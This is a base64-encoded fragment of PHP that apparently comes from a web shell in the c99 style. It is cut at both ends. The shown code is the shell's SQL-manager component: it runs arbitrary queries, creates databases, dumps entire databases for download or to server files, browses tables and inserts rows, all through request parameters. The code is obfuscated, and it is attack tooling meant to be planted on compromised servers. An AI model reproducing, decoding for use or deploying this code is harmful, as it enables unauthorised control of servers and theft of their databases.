OwogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFy dGVycm9yKCkpOwogICAgICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9B

U1NPQyk7CiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOwogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2Ui OwogICAgfQogICB9CiAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQogICB7CiAgICBlY2hvICI8aHIg c2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVz dWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5 X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxf cXVlcnlfZXJyb3IuIjxicj4iO30KICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29u ZmlybSkpIHskc3FsX2FjdCA9ICRzcWxfZ290bzt9CiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9h Y3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+ PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7 IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQg dG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJl YSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxj aGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIg bmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1l PVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0 IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJo aWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dv dG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwi WWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+ PC90cj48L3RhYmxlPiI7fQogICB9CiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpCiAgIHsK ICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0 aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9w aHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNx bCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+PGlucHV0 IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo YXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1 ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9 ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFy cygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2 YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0 eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo YXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6 ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3Rk Pjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9w aHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNx bCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0 eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFy cygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9 Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJo aWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMo JHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFs dWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlw ZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFy cygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0i MzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3Fs X2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJz dWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIz MCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3Rk Pjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+ PC90ZD48L3RyPjwvdGFibGU+PD9waHAKICAgIGlmICghZW1wdHkoJHNxbF9hY3QpKSB7ZWNobyAiPGhy IHNpemU9XCIxXCIgbm9zaGFkZT4iO30KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3dGJsIikKICAgIHsK ICAgICBlY2hvICI8Yj4iOwogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5k ICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9u ZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsKICAgIH0KICAg IGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2Ri KS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgfQogICBlbHNlaWYg KCRzcWxfYWN0ID09ICJkdW1wIikKICAgewogICAgaWYgKGVtcHR5KCRzdWJtaXQpKQogICAgewogICAg ICRkaXBsYXkgPSBGQUxTRTsKICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlw ZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVu XCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5h

bWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0 IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hh cnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2Rc IiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwi aGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3Fs X3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9 XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBu YW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+ U1FMLUR1bXA6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5 cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwi Pjxicj48YnI+IjsKICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7CiAgICAgZWNobyAiPGI+T25s eSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7 PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxj aGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7CiAgICAgaWYg KCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9CiAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVj aWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0 ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5w dXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBz aXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOwogICAg IGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9 XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOwogICAgIGVj aG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1l PVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKICAgICBlY2hvICI8 YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwi Pjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOwogICAgIGVjaG8gIjwv Zm9ybT4iOwogICAgfQogICAgZWxzZQogICAgewogICAgICRkaXBsYXkgPSBUUlVFOwogICAgICRzZXQg PSBhcnJheSgpOwogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsKICAgICAkc2V0WyJkYiJdID0g JHNxbF9kYjsKICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOwogICAgICRzZXRbInByaW50Il0gPSAw OwogICAgICRzZXRbIm5sMmJyIl0gPSAwOwogICAgICRzZXRbIiJdID0gMDsKICAgICAkc2V0WyJmaWxl Il0gPSAkZHVtcF9maWxlOwogICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOwogICAgICRzZXRbIm9u bHl0YWJzIl0gPSBhcnJheSgpOwogICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRh YnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9CiAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7 CiAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkKICAgICB7CiAgICAgIEBvYl9jbGVhbigpOwogICAg ICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICAgIGhl YWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsKICAgICAgaGVhZGVyKCJDb250ZW50 LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2Zp bGUpLiJcIjsiKTsKICAgICAgZWNobyAkcmV0OwogICAgICBleGl0OwogICAgIH0KICAgICBlbHNlaWYg KCRzcWxfZHVtcF9zYXZldG9maWxlKQogICAgIHsKICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2Zp bGUsInciKTsKICAgICAgaWYgKCEkZnApIHtlY2hvICI8Yj5EdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0 byBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkuIlwiISI7fQogICAgICBlbHNlCiAg ICAgIHsKICAgICAgIGZ3cml0ZSgkZnAsJHJldCk7CiAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgIGVj aG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMo cmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS4iXCIgKCIudmlld19zaXplKGZpbGVzaXplKCRzcWxfZHVt cF9maWxlKSkuIik8L2I+LiI7CiAgICAgIH0KICAgICB9CiAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDog bm90aGluZyB0byBkbyE8L2I+Ijt9CiAgICB9CiAgIH0KICAgaWYgKCRkaXBsYXkpCiAgIHsKICAgIGlm ICghZW1wdHkoJHNxbF90YmwpKQogICAgewogICAgIGlmIChlbXB0eSgkc3FsX3RibF9hY3QpKSB7JHNx bF90YmxfYWN0ID0gImJyb3dzZSI7fQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09V TlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsKICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hf YXJyYXkoJGNvdW50KTsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOwogICAgICR0Ymxfc3Ry dWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIp OwogICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNx bF9mZXRjaF9hc3NvYygkdGJsX3N0cnVjdF9yZXN1bHQpKSB7JHRibF9zdHJ1Y3RfZmllbGRzW10gPSAk cm93O30KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJw YWdlO30KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9CiAg ICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xzKSkgeyRzcWxfdGJsX2xzID0gMDt9CiAgICAgaWYgKGVtcHR5 KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQogICAgICRwZXJwYWdlID0gJHNxbF90Ymxf bGUgLSAkc3FsX3RibF9sczsKICAgICBpZiAoIWlzX251bWVyaWMoJHBlcnBhZ2UpKSB7JHBlcnBhZ2Ug PSAxMDt9CiAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsKICAgICAkZSA9IGV4 cGxvZGUoIiAiLCRzcWxfb3JkZXIpOwogICAgIGlmIChjb3VudCgkZSkgPT0gMikKICAgICB7CiAgICAg IGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQogICAgICBlbHNlIHskYXNjX2Rl

c2MgPSAiQVNDIjt9CiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIg IjsKICAgICB9CiAgICAgZWxzZSB7JHYgPSAiIjt9CiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00g YCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsK ICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9y KCkpOwogICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNv bHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7CiAgICAgZWNobyAiPGEg aHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90Ymxf YWN0PXN0cnVjdHVyZVwiPlsmbmJzcDs8Yj5TdHJ1Y3R1cmU8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJz cDsmbmJzcDsiOwogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVu Y29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1icm93c2VcIj5bJm5ic3A7PGI+QnJvd3NlPC9iPiZu YnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1 cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9 MVwiPlsmbmJzcDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgICBl Y2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiIm c3FsX3RibF9hY3Q9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZu YnNwOyZuYnNwOyI7CiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxi cj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30KICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNl cnQiKQogICAgIHsKICAgICAgaWYgKCFpc19hcnJheSgkc3FsX3RibF9pbnNlcnQpKSB7JHNxbF90Ymxf aW5zZXJ0ID0gYXJyYXkoKTt9CiAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkK ICAgICAgewoKICAgICAgfQogICAgICBlbHNlCiAgICAgIHsKICAgICAgIGVjaG8gIjxicj48YnI+PGI+ SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsKICAgICAgIGlmICghZW1wdHkoJHNxbF90 YmxfaW5zZXJ0X3EpKQogICAgICAgewogICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBg Ii4kc3FsX3RibC4iYCI7CiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNl cnRfcTsKICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOwogICAgICAgICRyZXN1bHQgPSBt eXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9z bWFydGVycm9yKCkpOwogICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsK ICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgIH0KICAgICAgIGVsc2UgeyR2 YWx1ZXMgPSBhcnJheSgpO30KICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUg Y2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwi MSVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48 dGQ+PGI+RmllbGQ8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5GdW5jdGlvbjwvYj48 L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0 X2ZpZWxkcyBhcyAkZmllbGQpCiAgICAgICB7CiAgICAgICAgJG5hbWUgPSAkZmllbGRbIkZpZWxkIl07 CiAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQogICAgICAgIGVj aG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZp ZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1si Lmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxv cHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwv b3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJB TkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0 aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwi XCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9v cHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJE QVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlv bj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48 b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5V TklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwv b3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9 XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1c IiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90 ZD48L3RyPiI7CiAgICAgICAgJGkrKzsKICAgICAgIH0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7 CiAgICAgICBlY2hvICI8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3Jh ZGlvXCIgdmFsdWU9XCIxXCIiOyBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIGNo ZWNrZWQiO30gZWNobyAiPjxiPkluc2VydCBhcyBuZXcgcm93PC9iPiI7CiAgICAgICBpZiAoIWVtcHR5 KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1c InNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVj aG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1c IiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQogICAgICAgZWNobyAi PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOwog

ICAgICB9CiAgICAgfQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImJyb3dzZSIpCiAgICAgewogICAg ICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7CiAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRz cWxfdGJsX2xlKTsKICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgICBlY2hv ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPW11bHRpcGFnZVwiIGhlaWdodD1cIjEyXCIg d2lkdGg9XCIxMFwiIGFsdD1cIlBhZ2VzXCI+Jm5ic3A7IjsKICAgICAgJGIgPSAwOwogICAgICBmb3Io JGk9MDskaTwkbnVtcGFnZXM7JGkrKykKICAgICAgewogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAk c3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8g IjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxf b3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVy cGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9CiAgICAg ICBlY2hvICRpOwogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRw ZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjwvdT48L2E+Ijt9CiAgICAgICBp ZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQogICAg 